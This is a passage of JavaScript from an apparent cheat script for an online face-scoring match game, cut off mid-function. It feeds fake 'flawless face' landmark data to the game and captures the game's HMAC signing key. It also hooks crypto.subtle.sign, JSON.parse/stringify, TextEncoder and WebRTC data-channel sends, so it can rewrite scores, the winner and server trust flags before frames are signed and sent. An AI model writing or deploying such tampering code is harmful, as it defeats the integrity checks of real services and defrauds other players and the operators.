const eyeY = cy - P.EY; lm[133] = { x: cx - P.IH, y: eyeY, z: 0 }; lm[33] = { x: cx - P.IH - P.EW, y: eyeY - P.T, z: 0 };
lm[362] = { x: cx + P.IH, y: eyeY, z: 0 }; lm[263] = { x: cx + P.IH + P.EW, y: eyeY - P.T, z: 0 };
const lcx = cx - P.IH - P.EW / 2, rcx = cx + P.IH + P.EW / 2;
lm[159] = { x: lcx, y: eyeY - P.EH / 2, z: 0 }; lm[145] = { x: lcx, y: eyeY + P.EH / 2, z: 0 };
lm[386] = { x: rcx, y: eyeY - P.EH / 2, z: 0 }; lm[374] = { x: rcx, y: eyeY + P.EH / 2, z: 0 };
lm[1] = { x: cx, y: cy, z: 0 }; lm[0] = { x: cx, y: eyeY + P.MOUTH, z: 0 };
const fill = [[70, 300, .18, -.12], [63, 293, .14, -.14], [105, 334, .10, -.16], [46, 276, .20, -.10], [116, 345, .22, .02], [123, 352, .20, .06], [50, 280, .18, .10], [187, 411, .16, .16], [132, 361, .24, 0], [174, 399, .06, .20], [136, 365, .12, .20], [148, 377, .08, .24], [176, 401, .10, .22], [58, 288, .22, -.04]];
for (const f of fill) { lm[f[0]] = { x: cx - f[2], y: cy + f[3], z: 0 }; lm[f[1]] = { x: cx + f[2], y: cy + f[3], z: 0 }; }
return lm;
}
const _NORM = genNorm(PARAMS); const _PS = 1.0;
let _headYaw = 0;
let currentScore = 9.3;
let scoreVel = 0;
let IN_MATCH = false;
let _lastFrameTs = 0;
const PEAK_DELTAS = {
0: [0.00238*_PS, -0.00148*_PS], 133: [-0.00537*_PS, -0.00507*_PS], 159: [0.00489*_PS, 0.00189*_PS],
176: [0.00392*_PS, -0.00571*_PS], 187: [0.00433*_PS, 0.00566*_PS], 293: [0.00167*_PS, -0.00274*_PS],
352: [-0.00052*_PS, 0.00213*_PS], 362: [0.00571*_PS, 0.00174*_PS], 386: [0.00402*_PS, 0.00377*_PS],
};
const LOW_DELTAS = { 0: [-0.00589, 0.00354], 33: [0.0024, -0.00215], 50: [-0.00312, -0.00189], 58: [-0.0075, -0.00572], 105: [-0.00128, 0.00165], 116: [-0.00368, 0.0027], 123: [0.00578, 0.00299], 145: [0.00243, 0.00522], 159: [0.00304, -0.00501], 171: [0.00375, -0.0019], 263: [-0.00048, 0.00605], 300: [-0.00572, 0.00073], 334: [0.00191, -0.00197], 352: [0.0001, 0.00005], 365: [0.00352, -0.0045], 374: [0.00455, -0.00071], 377: [0.00595, 0.00473], 379: [-0.00028, 0.00566], 386: [-0.00027, -0.016], 399: [-0.00495, -0.00209], 401: [0.00373, -0.00379] };
function applyD(d) { const a = _NORM.map(p => ({ x: p.x, y: p.y, z: 0 })); for (const k in d) a[+k] = { x: _NORM[+k].x + d[k][0], y: _NORM[+k].y + d[k][1], z: 0 }; return a; }
const _LOW = applyD(LOW_DELTAS), _PEAK = applyD(PEAK_DELTAS);
function faceL(L){return _LOW.map((p,i)=>({x:p.x+(_PEAK[i].x-p.x)*L,y:p.y+(_PEAK[i].y-p.y)*L,z:0}));}
const _WP=[[33,263],[133,362],[70,300],[63,293],[105,334],[46,276],[116,345],[123,352],[50,280],[187,411],[132,361],[174,399],[150,379],[172,397],[136,365],[171,396],[148,377],[176,401],[58,288]];
const _F=(a,b)=>Math.hypot(a.x-b.x,a.y-b.y);
const _L=(a,b)=>Math.atan2(b.y-a.y,b.x-a.x)*57.29578;
const _O=(e,t,r)=>Math.max(t,Math.min(r,e));
const _B=(e,t,r,a,n)=>e>=t&&e<=r?10:e<t?_O((e-a)/(t-a)*10,0,10):_O((n-e)/(n-r)*10,0,10);
function simpleScore(p){
const m=-((_L(p[33],p[133])+_L(p[362],p[263]))/2);
let jx=0;for(const pr of[[172,397],[150,379],[171,396]]){const r=_F(p[pr[0]],p[pr[1]]);if(r>jx)jx=r;}
const h=_F(p[234],p[454]),f=_F(p[10],p[152]),g=jx,b=f>0?g/f:0;
const v=(p[133].x+p[362].x)/2,w=(p[10].y+p[152].y)/2;
let _=0;for(const pr of _WP){const rr=p[pr[0]],q=p[pr[1]];_+=(h>0?Math.abs(Math.abs(rr.x-v)-Math.abs(q.x-v))/h:0)+(f>0?Math.abs(Math.abs(rr.y-w)-Math.abs(q.y-w))/f:0);}
const y=Math.round((1-_O(_/(2*_WP.length)/.09,0,1))*100);
const k=(p[133].y+p[33].y)/2,j=(p[362].y+p[263].y)/2,Nl=(k+j)/2;
const C=Math.abs(p[0].y-Nl),S=f>0?C/f:0,E=g>0?_F(p[234],p[454])/g:0;
const R=_F(p[33],p[133]),Ih=_F(p[159],p[145]),Mw=_F(p[263],p[362]),Uh=_F(p[386],p[374]);
const z=Math.max(.2,((R>0?Ih/R:0)+(Mw>0?Uh/Mw:0))/2);
const H=h>0?_F(p[133],p[362])/h:0;
const G=_B(m,2,6.5,-2,11),Y=_B(b,.58,.78,.42,.96),q2=_B(S,.27,.34,.2,.43);
const V=_B(E,1.04,1.24,.86,1.48),K=_B(z,.22,.3,.18,.43);
const J=Math.round((.18*Y+.24*q2+.18*V+.16*K+.24*_B(H,.22,.31,.15,.42))*10)/10;
return _O(.12*G+.14*Y+y/10*.24+.14*q2+.1*V+.08*K+.18*J,1.1,10);
}
const _TBL=[];for(let L=0;L<=1.0001;L+=0.02)_TBL.push([L,simpleScore(faceL(L))]);
const SCORE_MIN=_TBL[0][1],SCORE_MAX=_TBL[_TBL.length-1][1];
function solveL(score){
score=Math.max(SCORE_MIN,Math.min(SCORE_MAX,score));
for(let i=0;i<_TBL.length-1;i++){const a=_TBL[i],b=_TBL[i+1];if(score>=a[1]&&score<=b[1]){const f=(score-a[1])/((b[1]-a[1])||1);return a[0]+(b[0]-a[0])*f;}}
return 1;
}
const SCORE_IDX=new Set([0,1,10,152,234,454,33,133,263,362,159,145,386,374,172,397,150,379,171,396]);
for(const pr of _WP){SCORE_IDX.add(pr[0]);SCORE_IDX.add(pr[1]);}
let _aspect = 4 / 3, _aspT = 0;
function getAspect() {
const now = Date.now(); if (now - _aspT < 1000) return _aspect; _aspT = now;
try {
let best = document.querySelector('video.scanner-video');
if (!(best && best.videoWidth > 0)) { best = null; document.querySelectorAll('video').forEach(v => { if (v.videoWidth > 0 && v.videoHeight > 0 && (!best || v.videoWidth * v.videoHeight > best.videoWidth * best.videoHeight)) best = v; }); }
if (best && best.videoWidth > 0) _aspect = best.videoWidth / best.videoHeight;
} catch (e) {} return _aspect;
}
const _idealBuf=Array.from({length:478},()=>({x:0,y:0,z:0}));
let _idealLastScore=NaN,_idealLastAspect=NaN;
function idealObjects(aspect){
const a=aspect||getAspect();
if(currentScore===_idealLastScore&&a===_idealLastAspect)return _idealBuf;
_idealLastScore=currentScore;_idealLastAspect=a;
const cx=0.5,L=solveL(currentScore),base=faceL(L);
for(let i=0;i<base.length;i++){_idealBuf[i].x=cx+(base[i].x-cx)/a;_idealBuf[i].y=base[i].y;_idealBuf[i].z=0;}
return _idealBuf;
}
function encodeLM(lms) {
const b = new Uint8Array(lms.length * 17), dv = new DataView(b.buffer);
for (let i = 0; i < lms.length; i++) { const o = i * 17; b[o] = 0x0a; b[o + 1] = 0x0f; b[o + 2] = 0x0d; dv.setFloat32(o + 3, lms[i].x, true); b[o + 7] = 0x15; dv.setFloat32(o + 8, lms[i].y, true); b[o + 12] = 0x1d; dv.setFloat32(o + 13, lms[i].z, true); }
return b;
}
let _calls = 0;
function bump(how) { _calls++; if (_calls % (CONFIG.logEveryN || 90) === 1) log('[cyyyyz] feeding flawless face via ' + how); }
// ==================== ALL 8 ORIG HOOKS BY CYYYYYZ ====================
let _hookedWasm = false, _mf; const TD = new TextDecoder('utf-8');
function ptrToStr(mod, ptr) { if (typeof ptr === 'string') return ptr; const H = mod.HEAPU8; if (!H || typeof ptr !== 'number') return ''; let e = ptr; while (e < H.length && H[e] !== 0) e++; try { return TD.decode(H.subarray(ptr, e)); } catch (x) { return ''; } }
function installWasm(mod) {
if (!mod || mod.__omg) return; mod.__omg = true;
const dispatch = function (namePtr) {
const args = Array.prototype.slice.call(arguments, 1); let name = ''; try { name = ptrToStr(mod, namePtr); } catch (e) {}
try { if (CONFIG.enabled && !CONFIG.verifBypassActive && name === 'face_landmarks' && args[0] instanceof Uint8Array) { args[0] = encodeLM(idealObjects()); bump('wasm'); } } catch (e) {}
try { const SL = mod.simpleListeners; if (SL && SL[name]) return SL[name].apply(null, args); } catch (e) {}
};
try { Object.defineProperty(mod, '_wrapSimpleListenerOutput', { configurable: true, get() { return dispatch; }, set() {} }); } catch (e) { mod._wrapSimpleListenerOutput = dispatch; }
_hookedWasm = true;
}
function wrapFactory(orig) {
if (typeof orig !== 'function' || orig.__omg) return orig;
const wrapped = function () { let r; try { r = orig.apply(this, arguments); } catch (e) { throw e; } Promise.resolve(r).then(m => { try { installWasm(m); } catch (e) {} }).catch(() => {}); return r; };
wrapped.__omg = true; return wrapped;
}
try { Object.defineProperty(_window, 'ModuleFactory', { configurable: true, get() { return _mf; }, set(v) { _mf = wrapFactory(v); } }); } catch (e) {}
let _hookedDFV = false, _req = null;
function wrapDFV(proto) {
if (!proto || proto.__omgD) return false; const orig = proto.detectForVideo; if (typeof orig !== 'function') return false;
proto.detectForVideo = function () {
if (CONFIG.enabled && !CONFIG.verifBypassActive) {
try {
const vf = arguments[0]; let vw = 0, vh = 0; try { vw = vf.videoWidth || vf.width || 0; vh = vf.videoHeight || vf.height || 0; } catch (e) {}
const res = { faceLandmarks: [idealObjects(vw > 0 && vh > 0 ? vw / vh : 0)], faceBlendshapes: [], facialTransformationMatrixes: [] };
bump('detectForVideo'); const cb = arguments[2]; if (typeof cb === 'function') { cb(res); return; } return res;
} catch (e) {}
} return orig.apply(this, arguments);
}; proto.__omgD = true; _hookedDFV = true; return true;
}
function chk(v) { try { if (typeof v === 'function' && v.prototype && typeof v.prototype.detectForVideo === 'function') return wrapDFV(v.prototype); } catch (e) {} return false; }
function tryWebpack() {
try {
const key = Object.keys(_window).find(k => /^webpackChunk/.test(k)); if (!key || !Array.isArray(_window[key])) return;
if (_window[key].push === Array.prototype.push) return; if (!_req) { _window[key].push([[], {}, (r) => { _req = r; }]); }
if (_req && _req.c) for (const id in _req.c) { const ex = _req.c[id] && _req.c[id].exports; if (!ex) continue; chk(ex); if (typeof ex === 'object') for (const k in ex) { try { chk(ex[k]); } catch (e) {} } }
} catch (e) {}
}
let tries = 0; const poll = setInterval(() => { tries++; if (!_hookedDFV) tryWebpack(); if ((_hookedWasm || _hookedDFV) && tries > 8) clearInterval(poll); if (tries > 1200) clearInterval(poll); }, 200);
let _hookedSign = false;
(function setup_sign_rewrite(){
if(!_window.crypto?.subtle?.sign)return;
const _sign=_window.crypto.subtle.sign;
_window.crypto.subtle.sign=function(alg,key,data){
try{
let dv;
if(data instanceof ArrayBuffer)dv=new DataView(data);
else if(ArrayBuffer.isView(data))dv=new DataView(data.buffer,data.byteOffset,data.byteLength);
if(dv&&dv.getUint8(0)===4&&dv.byteLength>=17){
_lastFrameTs=Date.now();
if(CONFIG.enabled&&!CONFIG.verifBypassActive){
const s=dv.getUint16(13,true);
const aspect=dv.getFloat32(9,true)||getAspect();
const ideal=idealObjects(aspect);
const n=Math.min(s,ideal.length);
dv.setUint8(15,255);dv.setUint8(16,2);
let c=17;
for(let i=0;i<n;i++){dv.setFloat32(c,ideal[i].x,true);dv.setFloat32(c+4,ideal[i].y,true);c+=8;}
_calls++;
}
}
}catch(e){}
return _sign.call(this,alg,key,data);
};
_hookedSign=true;
})();
setInterval(()=>{IN_MATCH=(Date.now()-_lastFrameTs)<1500;},300);
setInterval(()=>{
if(CONFIG.enabled&&!CONFIG.verifBypassActive){
var t=_getTargetScore();
currentScore+=(t-currentScore)*0.08;
if(Math.abs(currentScore-t)<0.005)currentScore=t;
}
},200);
// ── JSON.parse / JSON.stringify hooks (NEW ROUTE) ──
// Operates at the data serialization layer, catching ALL score data
// regardless of transport channel (WS, DC, fetch, XHR, postMessage, etc.)
function _getSafeTarget() { try { return _getTargetScore(); } catch(e) { return 10; } }
function _getSafeRaw() { try { return Math.round(_getSafeTarget() * 10000) + ((CONFIG && CONFIG.scoreBoost) || 0); } catch(e) { return 100000; } }
function _aggressiveScorePatch(obj, depth) {
if (!obj || typeof obj !== 'object' || depth > 8) return false;
let changed = false;
const target = _clampScore(_getSafeTarget());
const raw = _clampRaw(_getSafeRaw());
const scoreKeyNames = ['score', 'elo', 'overall', 'final', 'selfScore', 'myScore', 'opponent', 'rival', 'your_score', 'yourScore', 'userScore', 'playerScore', 'p1_score', 'p2_score', 'totalScore', 'matchScore', 'actualScore', 'selfScoreRaw'];
function _isScoreKey(k) {
const kl = k.toLowerCase();
return scoreKeyNames.some(n => kl.includes(n) || kl.endsWith(n));
}
// Handle score arrays: small arrays where > 2/3 of elements look like scores
if (Array.isArray(obj)) {
if (obj.length === 0 || obj.length > 10) return false;
let scoreCount = 0;
for (const item of obj) {
if (typeof item === 'number' && item > 0.1 && item <= 9999.99 && !Number.isInteger(item)) scoreCount++;
else if (typeof item === 'number' && item > 1000 && item <= 99999999 && Number.isInteger(item)) scoreCount++;
}
if (scoreCount > obj.length * 2 / 3) {
for (let i = 0; i < obj.length; i++) {
const v = obj[i];
if (typeof v === 'number' && v > 0.1 && v <= 9999.99 && !Number.isInteger(v)) {
obj[i] = Math.round(target * 10) / 10; changed = true;
} else if (typeof v === 'number' && v > 1000 && v <= 99999999 && Number.isInteger(v)) {
obj[i] = raw; changed = true;
}
}
}
return changed;
}
for (const [k, v] of Object.entries(obj)) {
if (_isOpponentKey(k)) continue;
if (typeof v === 'object' && v !== null) {
if (_aggressiveScorePatch(v, depth + 1)) changed = true;
} else if (typeof v === 'number' && v > 0) {
// Float scores: up to 9999.99
if (v <= 9999.99 && !Number.isInteger(v)) {
obj[k] = Math.round(target * 10) / 10;
changed = true;
}
// Raw scores: 1000-99999999 — only touch keys that look like scores
else if (v >= 1000 && v <= 99999999 && Number.isInteger(v) && _isScoreKey(k)) {
obj[k] = raw;
changed = true;
}
// Small whole numbers 1-9999 that might be multiplied scores
else if (v >= 1 && v <= 9999 && Number.isInteger(v) && _isScoreKey(k)) {
obj[k] = Math.round(target);
changed = true;
}
} else if (typeof v === 'string' && /^[\d\.\u034F]+$/.test(v)) {
const cleaned = _stripCGJ(v);
const n = parseFloat(cleaned);
if (n > 0 && n <= 9999.99) {
obj[k] = String(Math.round(target * 10) / 10);
changed = true;
} else if (n >= 1000 && n <= 99999999) {
obj[k] = String(raw);
changed = true;
}
}
}
return changed;
}
const _origParse = JSON.parse;
const _origStringify = JSON.stringify;
JSON.parse = function(text, reviver) {
const result = _origParse.call(this, text, reviver);
try {
if (scoreSpoofAllowed() && result && typeof result === 'object') {
const t = _getSafeTarget();
const r = _getSafeRaw();
const resultStr = _origStringify.call(this, result);
const clone = _origParse.call(this, resultStr);
const deepPatched = _deepPatchScores(clone, '', r, t + ((CONFIG && CONFIG.scoreBoost) || 0) / 10000);
const aggrPatched = _aggressiveScorePatch(clone);
if (deepPatched || aggrPatched) {
logT('JSON', `PARSE patched scores (deep=${deepPatched} aggr=${aggrPatched})`);
return clone;
}
}
} catch(e) {}
return result;
};
log('[JSON] JSON.parse hooked');
JSON.stringify = function(value, replacer, space) {
try {
if (scoreSpoofAllowed() && value && typeof value === 'object') {
const t = _getSafeTarget();
const r = _getSafeRaw();
const str = _origStringify.call(this, value);
const clone = _origParse.call(this, str);
const deepPatched = _deepPatchScores(clone, '', r, t + ((CONFIG && CONFIG.scoreBoost) || 0) / 10000);
const aggrPatched = _aggressiveScorePatch(clone);
if (deepPatched || aggrPatched) {
logT('JSON', `STRINGIFY patched scores (deep=${deepPatched} aggr=${aggrPatched})`);
return _origStringify.call(this, clone, replacer, space);
}
}
} catch(e) {}
return _origStringify.call(this, value, replacer, space);
};
log('[JSON] JSON.stringify hooked');
// ── HMAC Signing Interceptor ──
// The game uses crypto.subtle.importKey + crypto.subtle.sign to HMAC-sign
// binary face landmark frames. By hooking these, we can capture the signing
// key and modify frame data BEFORE it's signed, so the server accepts it.
let _cm_hmacKey = null;
let _cm_frameNonce = null;
let _cm_frameSecret = null;
if (_window.crypto && _window.crypto.subtle) {
try {
const _origImportKey = _window.crypto.subtle.importKey;
_window.crypto.subtle.importKey = function(format, keyData, algorithm, extractable, keyUsages) {
if (algorithm && algorithm.name === 'HMAC') {
log('[CRYPTO] importKey HMAC format=' + format);
const result = _origImportKey.call(this, format, keyData, algorithm, extractable, keyUsages);
if (result && typeof result.then === 'function') {
result.then(function(key) {
_cm_hmacKey = { key, keyData, format };
log('[CRYPTO] HMAC key captured (keyData=' + (keyData instanceof ArrayBuffer ? keyData.byteLength + ' bytes' : typeof keyData) + ')');
});
}
return result;
}
return _origImportKey.call(this, format, keyData, algorithm, extractable, keyUsages);
};
log('[CRYPTO] crypto.subtle.importKey hooked');
} catch(e) { log('[CRYPTO] importKey hook error: ' + e.message); }
// NOTE: crypto.subtle.sign is now hooked by HOOK C (signed-frame rewrite) above.
// The old frame-inflating hook is removed — HOOK C rewrites the entire landmark
// payload with our synthetic face before signing, which is strictly better.
} else {
log('[CRYPTO] crypto.subtle not available');
}
// ── TextEncoder.encode hook (LiveKit data channel bypass) ──
// LiveKit calls TextEncoder.encode(jsonString) to convert JSON to bytes
// before wrapping in protobuf and sending via data channel.
// Hooking here catches ALL score traffic without needing the Room.
if (_window.TextEncoder && TextEncoder.prototype && TextEncoder.prototype.encode) {
if (!TextEncoder.prototype.encode.__cmHooked) {
const _origTextEncode = TextEncoder.prototype.encode;
TextEncoder.prototype.encode = function(input) {
try {
if (typeof input === 'string' && (scoreSpoofAllowed() || input.indexOf('"type":"SCAN_STATE"') >= 0)) {
// p,q score frames (lossy channel, real-time scores)
const pqMatch = input.match(/^\{"p":(\d+),"q":(\d+)\}$/);
if (pqMatch) {
const pVal = parseInt(pqMatch[1]);
if (_myPlayerIndex === null && (pVal === 0 || pVal === 1)) {
_myPlayerIndex = pVal;
_traceMatch('te_encode_pq_myPlayerIndex', { p: pVal });
}
// Only patch OUR score frames — don't inflate opponent's score on their screen
if (_myPlayerIndex !== null && pVal !== _myPlayerIndex) {
return _origTextEncode.call(this, input);
}
const target = _getTargetScore();
const newQ = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
const mod = _cgjEncode({p: pVal, q: newQ});
_lastSpoofedScore = target; spoofPanel();
_traceMatch('te_encode_pq', { oldQ: parseInt(pqMatch[2]), newQ, target });
log('[TEnc] patched p,q frame');
return _origTextEncode.call(this, mod);
}
// FINAL_SCORES (reliable channel, end-of-match scores)
if (input.indexOf('"type":"FINAL_SCORES"') >= 0) {
try {
const parsed = JSON.parse(input);
if (parsed && typeof parsed.p1 === 'number' && typeof parsed.p2 === 'number') {
const target = _getTargetScore();
const newFloat = target + (CONFIG.scoreBoost / 10000);
const oppFloat = Math.max(0, newFloat - 0.5);
if (_myPlayerIndex === 0 || _myPlayerIndex === null) {
parsed.p1 = newFloat;
parsed.p2 = oppFloat;
} else {
parsed.p2 = newFloat;
parsed.p1 = oppFloat;
}
if (typeof parsed.score === 'number') parsed.score = newFloat;
if (typeof parsed.overall === 'number') parsed.overall = newFloat;
if (typeof parsed.myScore === 'number') parsed.myScore = newFloat;
if (typeof parsed.myScoreRaw === 'number') parsed.myScoreRaw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
logT('TEnc', `patched FINAL_SCORES (p1=${parsed.p1} p2=${parsed.p2} idx=${_myPlayerIndex})`);
return _origTextEncode.call(this, _cgjEncode(parsed));
}
} catch(e) {}
}
// SCAN_STATE face metrics — inflate ALL 0-1 metrics to 1.0
// This is the LAST TEXT hook before LiveKit wraps in protobuf.
// Without this, the DC send hook only sees garbled protobuf bytes.
if (input.indexOf('"type":"SCAN_STATE"') >= 0) {
try {
const parsed = JSON.parse(input);
const targetObj = parsed.payload && typeof parsed.payload === 'object' ? parsed.payload : parsed;
const SCAN_BOOST_KEYS = ['looking', 'attention', 'smile', 'smiling', 'mouthOpen', 'quality', 'confidence', 'readiness', 'engagement', 'focus', 'eyeContact', 'faceQuality', 'trackingQuality', 'detectionQuality', 'overall', 'score', 'your_score', 'yourScore'];
function _isQualityKey(k) { return SCAN_BOOST_KEYS.includes(k) || k.toLowerCase().includes('qual') || k.toLowerCase().includes('conf') || k.toLowerCase().includes('smil') || k.toLowerCase().includes('look') || k.toLowerCase().includes('eye') || k.toLowerCase().includes('attention') || k.toLowerCase().includes('engagement') || k.toLowerCase().includes('focus'); }
let found = false;
for (const k of Object.keys(targetObj)) {
const v = targetObj[k];
if (typeof v === 'number' && v >= 0 && _isQualityKey(k) && v !== 1) {
if (targetObj === parsed) { parsed[k] = 1.0; } else { parsed.payload[k] = 1.0; }
found = true;
}
}
if (found) {
log('[TEnc] patched SCAN_STATE metrics → 1.0');
return _origTextEncode.call(this, _cgjEncode(parsed));
}
} catch(e) {}
}
// Generic score frames: {"score": X, ...}
if (input.includes('"score"') && input.length < 500) {
try {
const parsed = JSON.parse(input);
if (typeof parsed.score === 'number' && !parsed.p && !parsed.q) {
const target = _getTargetScore();
const newFloat = target + (CONFIG.scoreBoost / 10000);
parsed.score = newFloat;
if (typeof parsed.overall === 'number') parsed.overall = newFloat;
if (typeof parsed.your_score === 'number') parsed.your_score = newFloat;
log('[TEnc] patched generic score frame');
return _origTextEncode.call(this, _cgjEncode(parsed));
}
} catch(e) {}
}
// score_submit messages
if (input.includes('"score_submit"') && input.includes('"self_score"')) {
try {
const parsed = JSON.parse(input);
if (parsed.type === 'score_submit' && parsed.payload && typeof parsed.payload.self_score === 'number') {
const target = _getTargetScore();
const newFloat = target + (CONFIG.scoreBoost / 10000);
parsed.payload.self_score = newFloat;
log('[TEnc] patched score_submit in TextEncoder');
return _origTextEncode.call(this, _cgjEncode(parsed));
}
} catch(e) {}
}
}
} catch(e) {}
return _origTextEncode.call(this, input);
};
TextEncoder.prototype.encode.__cmHooked = true;
log('[TEnc] TextEncoder.prototype.encode hooked (LiveKit bypass)');
}
}
const _dcInstances = [];
const _rtcDcProto = (_window.RTCDataChannel || RTCDataChannel).prototype;
const _origNativeDcSend = _rtcDcProto.send;
function _hookDataChannel(dc) {
if (!dc.__cmHooked) _dcInstances.push(dc);
const _realDcSend = (typeof _origNativeDcSend !== 'undefined' ? _origNativeDcSend : (_window.RTCDataChannel || RTCDataChannel).prototype.send).bind(dc);
dc.__cmNativeSend = _realDcSend;
dc.__cmHooked = true;
dc.send = function(data) {
if (data instanceof ArrayBuffer || data instanceof Uint8Array) {
const bytes = data instanceof ArrayBuffer ? new Uint8Array(data) : data;
const str = new TextDecoder().decode(data);
const clean = str.replace(/[^\x20-\x7E]/g, '');
if (!_lastDcLogTime || Date.now() - _lastDcLogTime > 2000) { _lastDcLogTime = Date.now(); log(`[DC SEND bin] ${clean.substring(0, 200)}`); }
} else if (typeof data === 'string') {
if (data.includes('score') || data.includes('elo') || data.includes('q')) {
log('[DC SEND text] ' + data.substring(0, 300));
}
}
const _tryDecode = function(d) {
try {
let text;
if (typeof d === 'string') {
text = d;
} else {
const bytes = d instanceof ArrayBuffer ? new Uint8Array(d) : d;
if (!(bytes instanceof Uint8Array)) return null;
text = new TextDecoder().decode(bytes);
}
const m = text.match(/\{[^}]+\}/);
if (m) try { return { json: JSON.parse(m[0]), bytes, fullText: text, jsonText: m[0] }; } catch(e) {}
try { return { json: JSON.parse(text), bytes, fullText: text, jsonText: text }; } catch(e) {}
let depth = 0, start = -1;
for (let i = 0; i < text.length; i++) {
if (text[i] === '{') { if (start === -1) start = i; depth++; }
else if (text[i] === '}') { depth--; if (depth === 0 && start !== -1) try { const sub = text.substring(start, i + 1); return { json: JSON.parse(sub), bytes, fullText: text, jsonText: sub }; } catch(e) { start = -1; } }
}
} catch(e) {}
return null;
};
const parsed = _tryDecode(data);
if (parsed?.json) {
const { json, bytes, fullText, jsonText } = parsed;
const hasP = typeof json.p !== 'undefined';
const hasQ = typeof json.q !== 'undefined';
const hasScore = typeof json.score !== 'undefined';
const hasS = typeof json.s !== 'undefined';
const isNormalFrame = hasP && hasQ && json.m === undefined;
const isRankedFrame = hasP && hasQ && json.m !== undefined;
// Patch p1/p2 (no underscore) in DC frames
if (typeof json.p1 === 'number' && typeof json.p2 === 'number' && !hasP && !hasQ && json.type !== 'SCAN_STATE') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
const oppKey = ourKey === 'p1' ? 'p2' : 'p1';
const modified = { ...json };
const target = _getTargetScore();
const ft = _getFinalTarget();
const ff = ft / 10000;
const oldOurs = modified[ourKey];
modified[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
modified[oppKey] = json[oppKey];
if (modified.winner !== undefined) modified.winner = 'self';
if (modified.result !== undefined) modified.result = 'win';
logT('DC-HOOK', `p1/p2 patch: ${ourKey}: ${oldOurs} → ${modified[ourKey]}`);
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
if (isNormalFrame || isRankedFrame) {
if (_myPlayerIndex === null && typeof json.p === 'number' && (json.p === 0 || json.p === 1)) {
_myPlayerIndex = json.p;
_traceMatch('dc_pq_myPlayerIndex', { p: json.p });
}
// Only patch OUR score frames — don't inflate opponent's score on their screen
if (_myPlayerIndex !== null && typeof json.p === 'number' && json.p !== _myPlayerIndex) {
return _realDcSend(data);
}
if (json.q > 0) {
if (!scoreSpoofAllowed()) return _realDcSend(data);
const modified = { ...json };
const target = _getTargetScore();
const newScore = Math.round(target * 10000) + CONFIG.scoreBoost;
const newFloat = target + (CONFIG.scoreBoost / 10000);
const origQ = json.q;
modified.q = newScore;
modified.s = newScore;
if (typeof json.score === 'number') modified.score = newFloat;
if (typeof json.overall === 'number') modified.overall = newFloat;
if (typeof json.your_score === 'number') modified.your_score = newFloat;
if (typeof json.yourScore === 'number') modified.yourScore = newFloat;
if (typeof json.self_score === 'number') modified.self_score = newFloat;
if (json.payload && typeof json.payload === 'object') {
modified.payload = { ...json.payload };
modified.payload.overall = newFloat;
if (typeof json.payload.score === 'number') modified.payload.score = newFloat;
if (typeof json.payload.your_score === 'number') modified.payload.your_score = newFloat;
if (typeof json.payload.self_score === 'number') modified.payload.self_score = newFloat;
}
_lastSpoofedScore = target;
spoofPanel();
_traceMatch('dc_pq_frame', { origQ, newScore, target });
log('[DC HOOK] patched q=' + json.q + ' -> ' + newScore + ' score=' + (json.score||'?') + '->' + newFloat);
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
}
if (hasScore && scoreSpoofAllowed()) {
const modified = { ...json };
modified.score = _getTargetScore();
if (modified.payload && typeof modified.payload === 'object') {
modified.payload = { ...modified.payload };
modified.payload.overall = _getTargetScore();
}
_lastSpoofedScore = modified.score;
spoofPanel();
log('[DC HOOK SCORE] patched score field');
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
if (scoreSpoofAllowed() && json.payload && typeof json.payload === 'object' && !json.type && (hasS || typeof json.score === 'number' || typeof json.overall === 'number')) {
const modified = { ...json };
const target = _getTargetScore();
modified.payload = { ...json.payload };
modified.payload.overall = target;
_lastSpoofedScore = target;
spoofPanel();
log('[DC HOOK S/OVERALL] patched');
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
// Patch score_submit in DC frames
if (json.type === 'score_submit' && json.payload && typeof json.payload === 'object' && scoreSpoofAllowed()) {
const target = _getTargetScore();
const modified = { ...json, payload: { ...json.payload } };
let subPatched = false;
if (typeof modified.payload.self_score === 'number') {
const oldSelf = modified.payload.self_score;
modified.payload.self_score = target + (CONFIG.scoreBoost / 10000);
_traceMatch('dc_score_submit', { oldSelf, newSelf: modified.payload.self_score, opponent: modified.payload.opponent_score });
logT('DC-HOOK', `patched score_submit.self_score ${oldSelf} → ${modified.payload.self_score}`);
subPatched = true;
}
// Inflate quality/reliability flags to make server trust our score
for (const qf of ['quality', 'reliability', 'confidence', 'trust', 'valid']) {
if (typeof modified.payload[qf] === 'number') {
const old = modified.payload[qf];
modified.payload[qf] = 1.0;
logT('DC-HOOK', `score_submit ${qf}: ${old} → 1.0`);
subPatched = true;
}
}
if (subPatched) {
_lastSpoofedScore = target; spoofPanel();
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
}
// Catch-all: patch DC frames with omoggle method names
if (scoreSpoofAllowed()) {
const method = json.method || json.type || json.action || '';
if (method === 'setOpponentScore') return _realDcSend(data);
const scoreMethods = ['setMyScore', 'setLiveScores', 'setScore', 'applyFinalScores', 'applyFinalScore', 'setFrameNonce', 'setFinalPayloads', 'setRankedResult'];
if (scoreMethods.includes(method)) {
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
let mod = false;
const modified = { ...json };
if (typeof modified.score === 'number') { modified.score = target; mod = true; }
if (typeof modified.overall === 'number') { modified.overall = target; mod = true; }
if (modified.payload && typeof modified.payload === 'object') {
modified.payload = { ...modified.payload };
modified.payload.overall = target; mod = true;
modified.payload.score = target; mod = true;
}
if (Array.isArray(modified.args)) {
if (modified.args.length >= 2 && modified.args.length <= 3) {
const myScoreIdx = _myPlayerIndex !== null ? _myPlayerIndex : 0;
for (let i = 0; i < modified.args.length; i++) {
if (i === myScoreIdx && typeof modified.args[i] === 'number') {
if (modified.args[i] > 0.1 && modified.args[i] < 9999) { modified.args[i] = target; mod = true; }
else if (modified.args[i] > 1000 && modified.args[i] < 99999999) { modified.args[i] = raw; mod = true; }
}
}
} else {
